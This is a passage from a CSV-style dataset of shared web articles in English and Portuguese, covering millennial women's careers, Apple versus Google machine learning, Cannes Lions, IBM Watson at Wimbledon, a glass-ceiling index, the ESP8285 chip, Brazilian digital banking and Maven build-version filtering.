feminino"". Segundo a pesquisa da PWC , as jovens brasileiras (76%), Índia (76%) e Portugal (68%) são as mais confiantes em relação à carreira, enquanto que suas congêneres no Japão (11%) e Alemanha (19%) são as menos confiantes. Uma pesquisa realizada por Sylvia Ann Hewlett e Ripa Rashid em empresas do setor privado do Brasil confirma a tese: 80% das mulheres têm ambição de chegar ao topo da hierarquia organizacional. O estudo também identificou que as profissionais brasileiras possuem uma maior ambição pelo crescimento profissional em relação às americanas, inclusive. Por que elas escolherão sua empresa Com uma visão muito clara sobre a importância da experiência internacional, 71% das entrevistadas pela PwC gostariam de trabalhar fora do país. Portanto, oferecer a possibilidade de viagem profissional pode ser essencial para a contratação de uma millenial. Os resultados da pesquisa levaram a mais uma conclusão: elas verbalizam claramente que querem um trabalho que tenha propósito, querem contribuir de alguma maneira para o mundo e ter orgulho de seu empregador. Reputação, portanto, influencia bastante em suas decisões. As empresas devem se comunicar melhor e ser mais transparentes para atrair esses talentos. Para Juliana Albanez , coach especialista em comportamento e liderança feminina, as millenials ""são mulheres criativas e com propósito de vida. A vida profissional tem que fazer sentido, o trabalho tem que oferecer prazer e elas fazem questão do reconhecimento. São mulheres que farão história na luta pelo equilíbrio entre vida profissional e pessoal. E isso é só uma questão de tempo"". Outros aspectos que essas profissionais almejam são horário flexível, autonomia, boa remuneração e oportunidade de crescimento. Para o psicanalista e especialista em carreiras e gestão de pessoas, Paulo Paiva ""o modelo com rigidez de horário, deslocamento e processos está ficando obsoleto para as mulheres da nossa e próximas gerações. A questão do horário flexível está se tornando uma necessidade, não é mais um diferencial das empresas"". Para corrigir o défict de liderança de gênero, é preciso conduzir esforços paralelos: inserir diversidade na liderança em conjunto com mudanças na cultura organizacional. Inclusive, se interessar, fizemos um guia da cultura corporativa para a igualdade de gênero . E, para alcançar um resultado positivo, as organizações devem compreender quais são as expectativas de carreira dessas jovens profissionais para não só atrair, como desenvolver, contratar e reter o talento dessa geração. E ainda que o caminho para a igualdade de gêneros seja longo, as mulheres da Geração Y não encontram mais o mesmo ambiente profissional do qual fizeram parte suas mães e avós. Mais qualificadas e confiantes, elas impulsionam e fortalecem a demanda por novas estratégias de mercado e mudanças culturais em ambientes considerados engessados. Para manter a competitividade num mercado de constantes e rápidas mudanças, a adaptação das empresas acaba sendo inevitável. E essa já pode ser considerada uma grande vitória das millennials. As mulheres da Geração Y são multifuncionais, se preocupam em gerenciar o tempo da melhor forma e alcançar resultados consistentes. Conheça o Runrun.it , gerenciador de projetos e tarefas, que irá ajudar nessa tarefa, além de tornar a relação de trabalho e a comunicação muito mais transparentes. Experimente Grátis:",pt
1466607286,CONTENT SHARED,3322348437880079228,3829784524040647339,1878966646279376489,,,,HTML,http://simplystatistics.org/2016/06/14/ultimate-ai-battle/,Ultimate AI battle - Apple vs. Google,"Yesterday, Apple launched its Worldwide Developer's Conference (WWDC) and had its public keynote address. While many new things were announced, the one thing that caught my eye was the dramatic expansion of Apple's use of artificial intelligence (AI) tools. I talked a bit about AI with Hilary Parker on the latest Not So Standard Deviations , particularly in the context of Amazon's Echo/Alexa, and I think it's definitely going to be an area of intense competition between the major tech companies. Pretty much every major tech player is involved in AI-Google, Facebook, Amazon, Apple, Microsoft-the list goes on. Recently, a some commentators have suggested that Apple in particular will never catch up with the likes of Google with respect to AI because of Apple's strict stance on privacy and unwillingness to gather/aggregate data from all its users. However, yesterday at WWDC, Apple revealed a few clues about what it was up to in the AI world. First, Apple mentioned deep learning more than a few times, including specifically calling out its use of LSTM in its Messages app and facial recognition in its Photos app. Previously, Apple had been rumored to be applying deep learning to its Siri assistant and its fingerprint sensor . At WWDC, Craig Federighi stressed Apple's continued focus on privacy and how Apple does not need to develop ""user profiles"" server-side, but rather does most computation on-device (in this case, on the iPhone). However, it can't be that Apple does all its deep learning computation on the iPhone. These models tend to be enormous and take advantage of reams of data that can only be reasonablly processed server-side. Unfortunately, because most companies (Apple in particular) release few details about what they do, we may never how this works. But we can definitely speculate! Apple vs. Google I think the Apple/Google dichotomy provides an interesting opportunity to talk about how models can be learned using data in different ways. There are two approaches being represented here by Apple and Google: Google way - Collect lots of data from users and store them on a server in the Googleplex somewhere. Then use that data to fit an enormous model that can predict when you've taken a picture of a cat. As users generate more data, bring that data back to the Googleplex and update/refine the model. Apple way - Build a ""starter model"" in the Apple Mothership . As users generate data on their phones, bring the model to the phone and update the model using just their data. Bring the updated model back to the Apple Mothership and leave the user's data on the phone. Perhaps the easiest way to understand this difference is with the arithmetic mean, which is perhaps the simplest ""model"". Suppose you have a bunch of users out there and you want to compute the average of some attribute that they have on their phones (or whatever device). The first approach would be to get all that data and compute the mean in the usual way. Once all the data is in the Googleplex, we can just use the formula I'll call this the ""Google mean"" because it requires that you get all the data X 1 through X n , then sum them up and divide by n. Here, each of the X i 's represents the ith user's data. The general principle here is to gather all the data and then estimate the model parameters server-side. What if you didn't want to gather everyone's data centrally? Can you still compute the mean? Yes, because there's a nice recurrence formula for the mean: We can call this the ""Apple mean"". With this strategy, we can send our current estimate of the mean to each user, update our estimate by taking the weighted average of the old value and the new value, and then move on to the next user. Here, you send the model parameters out to the users, update those parameters and then bring the parameters back. Which method is better? Well, in this case, both give you the same answer. In general, for linear models (like the mean), you can usually rework the formulas to build out either ""whole data"" (Google) approaches or ""streaming"" (Apple) approaches and get pretty much the same answer. But for non-linear models, it's not so simple and you usually cannot achieve this kind of equivalence. Clients and Servers Balancing how much work is done on a server and how much is done on the client is an age-old computing problem and, over time, the balance of work between client and server seems to shift back and forth like a pendulum. When I was in grad school, we had so-called ""dumb terminals"" that were basically a screen that you used to login to the server. Today, I use my laptop for computing/work and that's it. But I use the cloud for many other tasks. The Apple approach definitely requires a ""fatter"" client because the work of integrating current model parameters with new user data has to happen on the phone. With the Google approach, all the phone has to do is be able to collect the data and send it over the network to Google. The Apple approach is also closely related to what my colleagues Martin Lindquist and Brian Caffo refer to as ""fusion science"", whereby Big Data and ""Small Data"" can be fused together via models to improve inference, but without ever having to actually combine the data. In a Bayesian context, you might think of the Big Data as making up the prior distribution and the Small Data as the likelihood. The Small Data can be used to update the model parameters and produce the posterior distribution, after which the Small Data can be thrown out. And the Winner is... It's not clear to me which approach is better in terms of building a better model for prediction or inference. Sadly, we may never have enough details to find out, and will only be ablle to evaluate which approach is better by the performance of the systems in the marketplace. But perhaps that's the way things should be evaluated in this case?",en
1466608308,CONTENT SHARED,-4278025512576376201,-5527145562136413747,101989957506145943,,,,HTML,http://cannes.meioemensagem.com.br/cobertura2016/diario-de-cannes/2016/06/22/sentaquelavemtextao,#Sentaquelávemtextão,"""Me cansei de lero-lero! Rita Lee e Roberto de Carvalho Dá licença, mas eu vou sair do sério. Quero mais saúde! Me cansei de escutar opiniões De como ter um mundo melhor."" É aquela coisa, né? Você tem que escrever o seu ""Diário"" e, de repente, entra aqui e tem tanta gente falando tudo sobre tudo e mais um pouco. Você se pergunta: sobre o que vou escrever? Sobre verdades. Já foram quatro dias da minha parte do Festival. É muita informação. É informação demais. Hoje, quarta-feira, são quatro eventos num só: tem saúde, inovação, entretenimento e criatividade. Tudo ao mesmo tempo agora. No meio desse tanto, você espreme, joga fora o bagaço dos jabás e sobra alguma coisa para pensar. Isso se você entendeu tudo o que foi dito, tudo o que foi mostrado. Se você prestou atenção. Se se interessou de verdade. Difícil acompanhar. Mas vale a pena. De verdade. Poderia falar sobre as tecnicidades do momento. A realidade virtual. O vídeo. O vídeo 360º. A programática. O algoritmo. O engajamento. O storytelling. O social. A inteligência artificial. O universo Makers - que devia estar mais presente - ou a Internet das Coisas. Poderia falar sobre a aplicação dos conceitos do digital no dia a dia das agências. Coisas como o pensamento beta, o jeitão ""startup"" de ser, o design thinking e etc. Palestras mais interessantes e palestras menos interessantes na mesma medida sobre tudo isso. Esses discursos todos para mudar o jogo, mudar o jeito de fazer, são lindos, interessantíssimos, mas a gente precisa realmente estar muito a fim de botar na prática. Precisa muito ""combinar com os russos"", como diria Mané Garrincha. Precisa quebrar barreiras, mudar as cabeças, especialmente dos cabeças. E entender que o jogo é outro. Bom, a revolução já começou faz tempo e muita gente vai ficar pra trás. Verdade. Isso tudo é importante, sim. Mas acho que os recados sociais e humanos que o mundo está deixando aqui e ali - para o mundo - são mais tocantes, emocionantes, fortes. O que importa de verdade. Nos últimos anos, o canto que mais escutamos é o da diversidade. Do respeito à diversidade. Em Cannes, 2016 é muito o ano das mulheres. Mas, se você parar e pensar, vai ver que isso não se restringe apenas ao Festival Internacional de Criatividade de Cannes. As discussões em relação à igualdade de gêneros, empoderamento feminino e a violência extrapolante do universo machista são cada vez mais assunto constante em tudo o que é lugar. Está todos os dias no Twitter, no Facebook, no Oscar®, no Festival de Cinema de Cannes, no esporte, no jornalismo - procure saber sobre o movimento ""Jornalistas contra o assédio"" -, na política, no trabalho e nas ruas de todo o mundo. Se você não sacou isso ainda, amigo, amiga, tem algo muito errado. Tão errado quanto todas as desigualdades e todo tipo de violência. Olhe ao redor, a mulher é o assunto da vez no mundo. Mas, até aí, temos uma estrada longa para correr em relação ao #RespeitoAsMinas. Já rolaram diversas palestras e momentos importantes no Festival que trazem o debate do feminino dentro da indústria da comunicação. Seja mostrando as iniciativas, botando as mulheres na frente das discussões ou até apoiando as causas. O app do Festival tem um botão onde você pode escolher pra qual organização internacional da causa feminina você quer doar 25 dinheiros por dia. Mas ainda tem muito o que fazer. Algumas participações já entraram pra história, se não do Festival, na vida de algumas pessoas. Por exemplo: Cindy Gallop, logo após mandar a real sobre o sexo real, deu uma bela cutucada no Festival por distribuírem um livro sobre criatividade que só tem homens como criativos. O próprio autor James Hurman reconheceu o erro de não ter entrevistado mulheres para a obra. A presença de Claudia Gonzalez da ONU no painel com Sir John Hegarty e os produtores de cinema Lawrence Bender e Steve Golin, apresentando em primeira mão, o comercial #WhatIReallyReallyWant feito para a campanha do Global Causes para meninas e mulheres. Em julho, o filme vai pro ar. Enfim. Respira bem fundo e entenda: nada pode se comparar com a participação de Madonna Badger. Uma mulher extraordinária. Responsável pela belíssima campanha #WomenNotObjects, que luta contra a objetificação da mulher na propaganda. Sua história pessoal, duríssima, fez todo mundo se acabar em lágrimas. Vi muita gente derretendo. Eu já estava preparado pelo amigo Rodrigo Maroni que me cantou a bola no dia anterior. Mas não podia imaginar o que edificante seria aquele momento. O jeito como ela conduziu sua apresentação de forma brilhante, mostrando coragem, sabedoria e sua determinação incansável de deixar um legado inspirado em suas três filhas. São verdades. Ditas de verdade. Tudo o que Madonna Badger falou, acabou reverberando dentro de mim com a ótima apresentação de Kim Getty, que tratou muito bem sobre a influência da publicidade na cultura do gênero. Leia mais aqui . As duas apresentações mostravam como é a presença do feminino na publicidade. Mas,no caso de Madonna, o bicho pega mais forte através do apelo sexual. Foi uma catarse. E, na minha cabeça, automaticamente, me veio a lembrança de um fato muito antigo que aconteceu no Brasil: em 1996, Claudia Liz, uma das modelos mais lindas do País, viveu um triste episódio ao ficar em coma após complicações numa cirurgia de lipoaspiração. Um trauma terrível que quase lhe tirou a vida. Na época, Claudia era casada com Celso Loducca e eu nunca me esqueci de uma entrevista dada por ele no calor tenso daquele momento, onde comentava sobre como esse mercado das modelos e da beleza podia ser irresponsável e mal. E, naquele dia, me lembro de olhar para o Celso e pensar: ""Cara, na boa, você também é muito responsável por isso."" Isso é um fato. Todos somos. E, sim, existe a #culturadoestupro. E a gente tem que lutar muito contra isso. Todos os dias. Aqui mesmo no ""Diário de Cannes"" já vejo resultados de que as mulheres não podem se calar, tem que falar muito! A colega Daniela Schmitz, inspirada no que viu e sentiu, colocou para fora sua própria história recente do assédio absurdo vivido por sua filha, participante do programa MasterChef Jr, de forma igualmente tocante. Para quem não sabe, o fato que ela cita, acontecido nas redes sociais por conta do programa, foi o que inspirou o movimento do #primeiroassédio que moveu a internet no Brasil. Nunca me esquecerei daquele dia. Como vi o movimento crescendo no Twitter e no Facebook e como fiquei tão chocado com os absurdos ditos sobre a filha da Daniela e sobre outras crianças que acabei não conseguindo mais assistir ao programa na TV. Deu bode total pra mim. E, sim, Daniela, precisamos falar sobre isso. De verdade. Para terminar, queria falar sobre saúde. Sim. Queria mesmo era poder falar mais e mais sobre saúde aqui no Festival Internacional de Criatividade de Cannes. Mas meu ingresso não permitia acompanhar os conteúdos. Espero ter acesso ao site do Festival. Sabe por que? Minha última experiência num evento internacional desse tipo e tamanho foi num congresso de medicina. Em 2014, enquanto estava fora do mercado, participei em Toronto do SIOP, o maior congresso de oncologia pediátrica, por conta da ONG que faço parte, o Beaba . Como em Cannes, ali tive a oportunidade de estar ao lado de gente do mundo todo, dividindo experiências sobre assuntos importantes. E lá também, acabei me envolvendo menos nas questões técnicas - até porque de medicina entendo pouco - para mergulhar na verdade da empatia. O que aprendi e aprendo junto ao ""mundo paralelo do câncer"" - definição precisa da minha amiga Simone Mozzilli, outra mulher sensacional que vocês deviam conhecer! -, enfim, a experiência vivida na relação com pacientes, ex-pacientes, médicos e enfermeiros, transformaram a relação que tenho com meu trabalho de publicidade. Quando você é exposto à verdade da vida real, não dá pra ser mais do mesmo. Por isso é libertadora a fala de Sir John Hegarty: ""We need to get out of this bubble that is advertising because, to be honest with you, it's very boring"". O cara fala sobre trabalhar com propaganda, e não viver a propaganda. É abrir os olhos para um mundo muito maior que tudo isso. Um mundo de verdade. Que precisa nos inspirar mais e mais e fazer com que nós movimentemos para trazer novas perspectivas para ele. De verdade! P.s: No Tinder de Cannes, um young de algum país diferente me manda uma verdade: ""Isso aqui é muito fake, né? Parece que todo mundo pretende salvar o mundo, mas, no fundo só quer pegar uns prêmios."" Há esperança!",pt
1466611197,CONTENT SHARED,4189221198175710203,-2901997243166418276,7683686127520782187,,,,HTML,http://www.bbc.com/news/business-36574406,How Wimbledon will use IBM's Watson to serve up data - BBC News,"If you're lucky enough to get a ticket to this year's Wimbledon tennis championships, be prepared to be scanned by a supercomputer. Cameras linked to IBM's Watson ""machine-learning"" platform may be monitoring your facial expressions and trying to work out what emotions you are displaying. If Watson learns quickly enough over the fortnight, it will apparently be able to work out which player you are supporting just by reading your face. The All England Lawn Tennis Club (AELTC) and its tech partner IBM are remaining tight-lipped on the details of the new technology - not least because it needs legal approval and raises privacy concerns. But it is another example of how sport is becoming increasingly digital, for fans, players and venues alike. Even if Watson isn't tracking your every cheer and grimace at the championships - which begin on Monday 27 June - it will be digesting millions of conversations on social media platforms, such as Twitter, Facebook and Instagram, and using natural language processing to identify common topics - not necessarily just about tennis. ""During last year's final we were analysing about 400 tweets a second,"" says IBM's Sam Seddon. ""Expand that out into Facebook, Instagram and more long-form content, and that's a lot of data. ""We can come up with insights much faster than humans can and inform the media team so they can decide what kind of content they should be offering."" Wimbledon's digital team has a global audience to serve - the website received 71 million visitors last year - and a window of just a few seconds to persuade people to read its social media content rather than that of other publishers. So, armed with IBM's social media analysis, the team will be able to entice people chatting about their own country's performance in the current Euro football championships, say, towards Wimbledon content about a tennis player of the same nationality. ""Social media is growing exponentially and is increasingly becoming the primary voice with which we communicate with our fans,"" says Alexandra Willis, Wimbledon's head of communications, content and digital. Data-driven sport On top of this social analysis by IBM's ""cognitive command centre"", sensors and computers at the venue will be collecting about 3.2 million pieces of data from 19 tennis courts across the fortnight. The tech company claims a sub-second response time and 100% accuracy. This performance-monitoring data - everything from live scores to fastest serves to the number of backhand winners - is made available to fans via smartphone apps, the website, and now Apple TV. You can personalise the app and receive every piece of relevant content on your favourite players, using data going back eight years. But, to the surprise of many tech commentators, Wimbledon still has no plans to introduce wi-fi in the grounds, so visitors will have to rely on an imperfect mobile network to access all this data and content. It will be interesting to see if this limited connectivity - and potentially higher mobile data costs - mars the user experience, particularly for international visitors. While the tennis players can also use sensors inside tennis racquets and wristbands to monitor their own performance, under current International Tennis Federation rules the data is not allowed to be used for coaching purposes during matches. But is there a danger players will become too reliant on detailed data analysis of their opponents and end up cancelling each other out? ""The great players know how to understand and react to what's happening on the court - no amount of data analytics can prepare for that. It's only one element of a sportsman's preparation,"" says Mr Seddon. Super Bowl economics The increased use of smartphones and apps is giving sports venues reams of valuable data about the way fans move around, the things they buy, and the content they want to watch. For example, during February's Super Bowl final at the Levi's Stadium in Santa Clara, California, data analytics helped improve the fan experience and drive up sales of drinks and merchandise. Tech firm VenueNext developed an app on behalf of the NFL (National Football League) and nearly half the stadium's 71,000 capacity used it on the day to make purchases and access game stats. ""By offering an in-seat beverages delivery utility orders increased 67% during the Super Bowl,"" says John Paul, VenueNext's chief executive. ""Delivery times averaged less than 10 minutes."" A crack team of 200 ushers delivered the drinks and fed back data to the app on how long the queues for the toilets were, for example, and where the quickest place to buy a hotdog was at any time during the event. ""We also implemented express pick-up of merchandise after ordering online via your mobile,"" says Mr Paul. ""We ran out of inventory because it was so popular - we could've sold five times more than we did."" The average spend was $212 (£145) and the most popular item was a woman's Denver Broncos jacket costing $225, he says. Horses for courses Mr Paul admits that the many breaks in play during an American football match make in-seat ordering practicable, but it wouldn't be suitable for other sports and venues. Indeed, Wimbledon's Alexandra Willis says that's the last thing they want during an intense tennis match. Nevertheless, location-based app data does help them improve signage and navigation for visitors across the complex site, she says. During a summer of sport that includes the current Euro football championships, Wimbledon, and the Olympics, global audiences are set to grow and digital will be the main way most people access the action. Andrew Chant, head of networks at cloud services firm Exponential-e, notes: ""Since the Uefa European Championship began on 10 June, an average of 30% extra traffic has been added to networks. ""Excited by real-time intensity, we predict that the reach of this year's biggest sporting events - from the Euros to Wimbledon and the Olympics - will extend far beyond the stadium and into the workplace, as connected sports fans live every second of the game, wherever they are."" If sports venues and promoters aren't sufficiently digital these days, they risk losing the game. Follow @matthew_wall on Twitter Click here for more Technology of Business features",en
1466612093,CONTENT SHARED,-8412113620940365599,1908339160857512799,8486521378425460772,,,,HTML,http://www.economist.com/blogs/graphicdetail/2016/03/daily-chart-0,The best-and worst-places to be a working woman,"The best-and worst-places to be a working woman by The Data Team TO MARK the United Nations ' International Women's Day on March 8th, we present our ""glass-ceiling index"" which aims to reveal where women have the best chances of equal treatment at work. It combines data on higher education, labour-force participation, pay, child-care costs, maternity rights, business-school applications and representation in senior jobs. We've also included paternity rights as an additional measure this year. Studies show that where new fathers take parental leave, mothers tend to return to the labour market, female employment is higher and the earnings gap between men and women is lower. Each country's score is a weighted average of its performance on ten indicators. Unsurprisingly, the Nordic countries-Iceland (a newcomer to our index), Norway, Sweden and Finland-come out top overall. In these countries, women are present in the labour force at similar rates to men. Finland has the largest share of women who have gone through higher education compared with men (49% of women have a tertiary degree, and 35% of men). Norway's gender wage-gap (6.3%) is less than half the OECD average (15.5%). Women have 44% of seats on listed-company boards in Iceland; strong representation in Scandinavian boardrooms is common thanks to quotas. Norway and Iceland also have voluntary political-party quotas, as does Sweden where 44% of parliamentary seats are occupied by women, one of the highest rates in the world. Hungary ranks fifth, having the lowest gender wage gap, of 3.8%. Despite having few women on boards (11%) and in parliament (10%), Hungary has generous paid leave for mothers (71 weeks at 100% of recent pay) and low child-care costs. At the bottom of the ranking are Japan, Turkey and South Korea, where men are more likely than women to have degrees, to be in the workplace and to hold senior positions. Their pay gap is also wide. In Japan and South Korea the favourable parental-leave system is mainly a response to their ageing populations and shrinking labour forces; but in other respects they are far behind the Nordic countries, whose commitment to sexual equality goes back a long way. Correction : The previous version of this interactive chart had the wrong median value for child-care costs in Italy and Turkey. This was corrected on May 9th. READ MORE: Still a man's world .",en
1466615969,CONTENT SHARED,6798386551136144335,-2979881261169775358,5871139323945774062,,,,HTML,http://hackaday.com/2016/06/21/espressif-releases-esp8266-killer/,Espressif Releases ESP8266-Killer!,"It's no secret that we love the ESP8266 chip, and the community of hackers that have contributed to making it useful. We often joke about this or that new WiFi-enabler being an ESP8266 killer, but so far none have stepped up. Here we go again! Espressif has released a chip that's going to be an ESP8266 killer, and no, it's not the ESP32. The ESP8285 went into mass production in March , and should start to appear in the usual outlets fairly soon. What makes it an ESP8266 killer? It's an ESP8266, but with the flash memory onboard. Nothing more, but also nothing less. What does this mean? Tiny, tiny designs are possible. And, if the street price ends up being right, there's no reason you wouldn't opt for built-in flash. (Unless you were planning on doing some ROM hacking.) We've found a datasheet , a development board with schematics on GitHub , and another blog-post about the chip . AI Thinker apparently has a module already (pictured). Has anyone out there had one of these in their hands yet? Any idea where you'd order some? Thanks [deshipu] for the tip! Posted in Tagged news , ESP8266 , esp8285 , espressif , wifi parts , slider , wireless hacks",en
1466618633,CONTENT SHARED,8386493184609384928,-1352064057049251194,-8599333019192400391,,,,HTML,http://www.infomoney.com.br/negocios/inovacao/noticia/5198991/2017-sera-possivel-ignorar-totalmente-cartao-fisico-garante-itau,"Em 2017 será possível ignorar totalmente o cartão físico, garante Itaú","SÃO PAULO - O lançamento do Samsung Pay em versão beta no Brasil nesta semana dá a letra: o pagamento pelo celular está chegando. E até o ano que vem estará disponível para todos os clientes do banco Itaú. ""Já estamos trabalhando em carteira digital e ela receberá toda a nossa base de clientes em julho"", garante Fernando Chacon, presidente da Rede, em coletiva conjunta com o Itaú. ""Parceiros em e-commerce e varejo estarão preparados para compras sem cartão em aplicativos e sites já no mês que vem"". Para as lojas, a previsão é um pouco mais distante, mas também quase imediata. ""Entraremos em 2017 com essa possibilidade de [o cliente] não ter cartão quando for às lojas"", o que será possibilitado por meios de pagamento pelo celular, por exemplo, que já estão em testes internos tanto pelo banco como pela adquirente. ""Todas as máquinas da Rede estarão equipadas com isso"", diz Fernando. Conta pela internet ""Fomos um dos bancos que fizeram o pleito com o Banco Central para permitir que clientes abrissem contas sem precisar ir à agência"", diz Ricardo Guerra Diretor-executivo de Tecnologia do Itaú Unibanco. ""Vamos ter abertura de conta pela internet sim"". A movimentação é natural, dado que a facilidade de fazer operações sem precisar comparecer a agências é uma tendência forte no Brasil, que ganha ainda mais espaço com a existência de empresas completamente digitais na área como Nubank e Banco Original. De acordo com ele, o Itaú trabalha de forma a trazer aos próprios clientes uma experiência semelhante, sem necessidade alguma de falar com atendentes ou ir à agência - mas sem ignorar as pessoas que ainda preferem os métodos tradicionais. ""Nãos sei e nem estou muito preocupado em saber quando a agência física vai acabar"", dispara Ricardo. ""Eu tenho clientes que querem ir até a agência e eu preciso dar essa oportunidade para ele. [Ao mesmo tempo] temos uma suíte que visa atender de forma digital a todos os clientes que não querem [ir à agência]"". Fintechs e preços ""As fintechs [startups que usam tecnologia em soluções financeiras] têm a vantagem de oferecer serviços em menor escala e com maior compreensão do cliente. Para nós, a fintech é uma sala de aula"", explica o diretor, sem ignorar a ameaça. ""Algumas delas não vão querer parcerias e vão oferecer os mesmos serviços que nós, o que é obviamente uma concorrência, como todas as outras empresas que prestam os mesmos serviços são"", analisa. Mesmo que eventualmente ofereçam serviços mais baratos, essas novas empresas provavelmente não ditarão os valores praticados pelo mercado em geral em transações. Para Fernando Chacon, da Rede, é mais importante focar em performance. ""Não vamos entrar na guerra dos preços, mas sim orientar nosso modelo de negócio pela performance. Teremos maior agressividade comercial no sentido de acompanhar os lojistas nessas operações e fazer uma ressegmentação do mercado, que prevê benefícios a correntistas, por exemplo"", explica Chacon. Tarifa zero não existe Perguntado sobre a ameaça das operações de pagamentos sem taxas, o diretor é categórico: empresas não vivem sem rentabilizar. ""As startups funcionam, aqui ou no Vale do Silício, por meio de venture capital, um dinheiro que investidores colocam nas empresas pensando no médio prazo, quando a empresa vai ter que rentabilizar"", afirma Ricardo. Para ele, empresas como o Nubank, que oferece o cartão de crédito sem anuidade , precisarão encontrar alguma maneira de ganhar dinheiro. ""Por enquanto a meta deles é ter uma base enorme de clientes sem ganhar dinheiro"", mas isso deve mudar, afirma. De acordo com ele, ao mesmo tempo em que são mais baratas as operações digitais, o volume com que elas ocorrem acaba crescendo com o acesso ao digital. ""As pessoas tiram muito mais extrato, fazem muito mais consultas e pagamentos. Não é mais barato [para o banco] porque existe um investimento por trás"", ele diz. ""Mas claro que a ideia é nos tornarmos mais competitivo conforme a tecnologia permite a redução de custos"", encerra o diretor.",pt
1466620390,CONTENT SHARED,6997620589258672675,-48161796606086482,-4406729997686684554,,,,HTML,https://pagamento.me/abrimos-uma-conta-no-original/,Abrimos uma conta no Original.,"Você já deve ter percebido que esse portal fala bastante de bancos digitais, certo? Fizemos um post "" Nubank - a experiência"" ( ), em 31 de Janeiro de 2015, onde contamos como foi ter se cadastrado, validado os dados e ter digitalizado os documentos pelo app. Foi uma verdadeira aula de ""usabilidade"" e de praticidade. Recebemos o cartão em 7 dias após cadastro. Fizemos no mês passado, o processo completo de abertura de conta no Original. Acompanhe como foi. Banco digital: primeiras impressões A conta foi aberta em 19 dias exatos. Iniciamos o processo de cadastro via app dia 03/04 e recebemos a confirmação de abertura com o número da conta e agência, no dia 22/04. Já o cartão, foi enviado somente no dia 05 de maio. Mais de um mês pós cadastro. Bancos de varejo como Itau, Santander e Bradesco, com seu processo normal de abertura, teriam 5 dias para abrir a conta, mais 5 dias para enviar o cartão. O que totalizaria o processo completo em 10 dias. Para nós o grande atrito está na coleta da assinatura digital presencial do Original, que ainda está lenta entre cadastro e coleta. Do cadastro (03/04) até o dia da coleta e conferência presencial dos documentos (20 de abril), foram 17 dias. Apesar do desafio do prazo, foi uma boa experiência. Na prática foram 4 passos básicos: 03/04 - Cadastro no app; 20/04 - Coleta da assinatura digital; 22/04 - Confirmação da conta aberta; 05/05 - Recebimento do cartão Vamos às ilustrações. 1. Cadastro no app do Original O ponto de melhoria visto pela nossa equipe foi justamente a questão do cadastro dos dados no app. Por se tratar de uma abertura de conta, acreditamos que algumas questões de regulamentação e KYC (know your customer) devam ser seguidas à risca, ainda. Porém, o tempo para finalizar o cadastro total, digitalização de documentos e fotos, durou cerca de 20 minutos. O ideal era reduzir ainda mais isso. Mesmo assim, foi um belo trabalho do banco, criar um mecanismo para abrir contas digitais de uma forma realmente prática. Bem mais simples e mais rápido do que abrir contas tradicionais. Adeus fila! 2. Coleta da assinatura digital Recebemos um agente de coleta, para confirmar o documento e coletar novamente a digital dos dedos, só que dessa vez presencialmente. O double check , segundo o próprio representante, é norma. A burocracia trouxe um mimo: o banco enviou um café especial para dar as boas vindas. 3. Confirmação da conta aberta Com a confirmação da conta aberta, fizemos o acesso via web e já fizemos os testes funcionais: depositando dinheiro, simulando investimento e testando a plataforma. A agência Try mandou muito bem na concepção / design. Ficamos bem surpresos com o resultado das cores e da facilidade de navegação da estrutura. Bem diferente dos bancos tradicionais. 4. Recebimento do cartão Ufa! Tá na mão. E ainda veio com outro brinde �� O Original abriu uma porta bem importante em se posicionar como um banco digital de fato. Não ter agência física é de realmente uma grande mudança, mas também um possível realidade nos próximos anos. Sugestão: leia o texto "" 3 sinais que fazem das fintechs, uma bomba explosiva para os bancos brasileiros"" e entenda como isso de abrir contas em agências bancárias tradicionais, vai morrer em breve. Belo trabalho Original �� Fotos: reprodução Original.com.br",pt
1466621609,CONTENT SHARED,-5839185923562195912,7774613525190730745,958669091394102920,,,,HTML,https://dzone.com/articles/whats-version-my-deployed,What's the Version of my Deployed Application? - DZone DevOps,"In my career, I've noticed many small and un-expensive features that didn't find their way into the Sprint backlog because they didn't provide business value. However, they provided plenty of ROI during the life of the application, but that was completely overlooked due to short-sighted objectives (set by short-sighted management). Those include, but are not limited to: Monitoring in general, and more specifically metrics, health checks, etc. Spare 5 days now and spend 10 times that later (or more...) that because you don't know how your application works. Environment data e.g. development, test, production, etc. It's especially effective when it's associated with a coloured banner dependent on the environment. If you don't do that, I'm not responsible if I just deleted all your production data from the last 10 days because I thought it was the test environment. This is quite easy, especially if login/passwords are the same for all environments - yes, LDAP setup is complex so let's have only one. Application build data, most importantly the version number, and if possible the build number and the build time. Having to SSH into the server (if possible at all) or search the Wiki (if it's up-to-date, a most unlikely occurence) to have to know the version is quite cumbersome when you need the info right now. Among them, I believe the most basic one is the latter. We are used to check the About dialog in desktop applications, but unless you deliver many (many many) times a day, those are necessary for any real-world enterprise-grade application. In the realm of SOA and micro-services, it means this info should also be part of responses. With Maven, it's quite easy to achieve, this as a simple properties file only is needed and the maven-resource-plugin will work its magic. Maven provides a filtering features, meaning any resource can be set placeholders and they will be replaced by their values at build-time . Filtering is not enabled by default. To activate it, the following snippet will do: I wrote about placeholders above but I didn't specify which. Simple, any data set in the POM - as well as a few special ones, can be used as placeholders. Just use the DOM path, inside $ and brackets, like that: ${dom.path} . Here's an example, with a property file: If this snippet is put in a file inside the src/main/resources directory, Maven will generate a file named similarly with the values filtered inside the target/classes directory just after the process-resources . Specific values depends of course on the POM, but here's a sample output: Things are unfortunately not as straightforward, as there's a bug in Maven regarding ${maven.build.timestamp} . It cannot be filtered directly and requires adding an indirection level: The following properties file will now work as expected: At this point, it's just a matter of reading this property file when required. This includes: In webapps Provide a dedicated About page, as in desktop applications. I've rarely seen that, and never implemented it Add a footer with the info. For added user-friendliness, set the text color to the background color, so that users are not disturbed by the info. Only people who know (or a curious) can access that - it's not confidential anyway. In services Whether SOAP or REST, XML or JSON, there are also a few options: As a dedicated service endpoint ( e.g. /about or /version ). This is the simplest to implement. It's even better if the same endpoint is used throughout the organization. As additional info on all endpoints. This is required when each endpoint can be built separately and assembled. The easiest path then is to put it in HTTP headers, while harder is to put it in the data. The latter will probably require some interceptor approach as well as an operation on the schema (if any). There are two additional options: To differentiate between snapshot versions, use the Maven Build Number plugin . I have no experience of actual usage. However, it requires correct configuration of SCM information. Some applications not only display version information but also environment environment information ( e.g. development, integration, staging, etc.). I've seen it used either through a specific banner or through background color. This requires a dedicated Java property set at JVM launch time or an system environment variable. The filtering stuff can be done in 1 hour max in a greenfield environment. The cost of using the data is more variable, but in a simple webapp footer case, it can be done in less than a day. Compare that to the time lost getting the version during the lifetime of the application... The DevOps Zone is brought to you in partnership with New Relic . Read about where DevOps started and how the adoption rate went from tiny startups to giant Fortune 500 enterprises.",en
